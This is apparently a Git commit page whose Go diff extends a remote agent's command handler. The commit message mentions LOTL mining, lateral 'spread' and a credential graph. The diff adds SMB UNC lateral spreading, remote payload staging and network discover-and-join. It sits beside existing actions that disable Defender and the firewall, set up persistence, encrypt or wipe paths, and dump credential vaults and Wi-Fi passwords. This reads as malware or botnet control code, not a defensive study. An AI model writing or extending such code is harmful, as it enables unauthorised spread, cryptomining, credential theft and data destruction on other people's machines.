Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
@@ -16,10 +16,14 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
|
||||
if !c.cfg.HolePunch {
|
||||
return false, "hole punch not enabled in forge (Advanced → NAT Hole Punch)"
|
||||
}
|
||||
case "spread_now":
|
||||
case "spread_now", "spread_smb_unc", "discover_and_join":
|
||||
if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive {
|
||||
return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)"
|
||||
}
|
||||
case "stage_fetch":
|
||||
if !c.cfg.RemoteAggressive {
|
||||
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
|
||||
}
|
||||
case "start_tunnel", "tunnel_cloudflared", "tunnel_ssh_forward", "tunnel_stop",
|
||||
"subnet_scan", "smb_shares", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "encrypt_path", "secure_wipe", "credential_vault_list", "get_wifi_passwords":
|
||||
if !c.cfg.RemoteAggressive {
|
||||
@@ -27,8 +31,8 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
|
||||
}
|
||||
case "tunnel_status", "tunnel_wireguard":
|
||||
// Always available — read-only or Path Tracer config from server.
|
||||
case "supp_seek", "wg_setup", "wg_configure", "wg_teardown", "wg_status":
|
||||
// No forge gate — always available.
|
||||
case "supp_seek", "wg_setup", "wg_configure", "wg_teardown", "wg_status", "service_discover":
|
||||
// No forge gate — enumeration-only recon (Path Tracer + fleet discover).
|
||||
case "mesh_status":
|
||||
if !c.cfg.MeshP2P {
|
||||
return false, "mesh P2P not enabled in forge"
|
||||
@@ -90,6 +94,38 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
case "spread_smb_unc":
|
||||
unc := strings.TrimSpace(path)
|
||||
svcName := ""
|
||||
if unc == "" {
|
||||
unc = strings.TrimSpace(data)
|
||||
} else {
|
||||
svcName = strings.TrimSpace(data)
|
||||
}
|
||||
msg := deploy.RunSMBUNCSpread(c.cfg, deploy.SMBUNCSpreadOpts{
|
||||
UNCPath: unc,
|
||||
MaxHosts: parsePortArg(command, 64),
|
||||
SvcName: svcName,
|
||||
})
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
case "stage_fetch":
|
||||
var manifest deploy.StagingManifest
|
||||
if err := json.Unmarshal([]byte(data), &manifest); err != nil {
|
||||
c.sendCommandResult(action, false, "bad staging manifest: "+err.Error())
|
||||
return true
|
||||
}
|
||||
go func() {
|
||||
msg, err := deploy.RunStagingChain(c.cfg, manifest)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, msg)
|
||||
}()
|
||||
return true
|
||||
|
||||
case "subnet_scan":
|
||||
maxHosts := parsePortArg(command, 64)
|
||||
out := deploy.ScanLocalSubnet(maxHosts)
|
||||
@@ -328,6 +364,24 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
|
||||
case "wg_status":
|
||||
c.sendCommandResult(action, true, WGStatus())
|
||||
return true
|
||||
|
||||
case "service_discover":
|
||||
maxHosts := parsePortArg(command, 32)
|
||||
out := deploy.RunServiceDiscover(maxHosts)
|
||||
c.sendCommandResult(action, true, out)
|
||||
return true
|
||||
|
||||
case "discover_and_join":
|
||||
maxHosts := parsePortArg(command, 32)
|
||||
go func() {
|
||||
msg, err := c.runDiscoverAndJoin(maxHosts)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, msg)
|
||||
}()
|
||||
return true
|
||||
}
|
||||
|
||||
return false
|
||||
|
||||
Reference in New Issue
Block a user